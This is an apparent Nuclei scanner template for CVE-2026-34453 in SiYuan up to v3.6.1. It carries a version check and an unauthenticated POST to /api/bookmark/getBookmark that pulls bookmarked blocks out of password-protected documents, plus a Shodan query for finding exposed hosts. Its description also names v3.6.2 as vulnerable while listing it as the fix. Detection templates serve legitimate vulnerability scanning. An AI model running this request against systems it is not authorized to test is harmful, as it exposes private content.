id: CVE-2026-34453

info:
  name: SiYuan <= v3.6.1 - Bookmark Data Disclosure
  author: 0x_Akoko
  severity: high
  description: |
   SiYuan v3.6.2 contains an information disclosure vulnerability caused by improper authorization checks in the publish service's bookmark filtering, letting unauthenticated visitors access bookmarked blocks from password-protected documents, exploit requires access to the publish service.
  impact: |
   Unauthenticated attackers can access content from protected documents without a password, exposing sensitive information
  remediation: |
   Update to version 3.6.2 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34453
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-34453
    epss-score: 0.01227
    epss-percentile: 0.65867
    cwe-id: CWE-863
  metadata:
    verified: true
    max-request: 2
    vendor: siyuan-note
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,unauth,disclosure,bac

flow: http(1) && http(2)

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/system/version"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'compare_versions(ver, ">= 0.0.1", "<= 3.6.1")'
        condition: and

    extractors:
      - type: json
        name: ver
        internal: true
        json:
          - '.data'

  - raw:
      - |
        POST /api/bookmark/getBookmark HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":0'
          - '"type":"bookmark"'
          - '"blocks"'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100deb2d1dd68bbf76f9799c4a63235fccf0a0d60a110db8c1ecb6a93fea7c8b0f2022100e49ff83ea604b6f91171a3c2c6885fab77861b3d76b3a03240d769cd2ab026e0:922c64590222798bb761d5b6d8e72950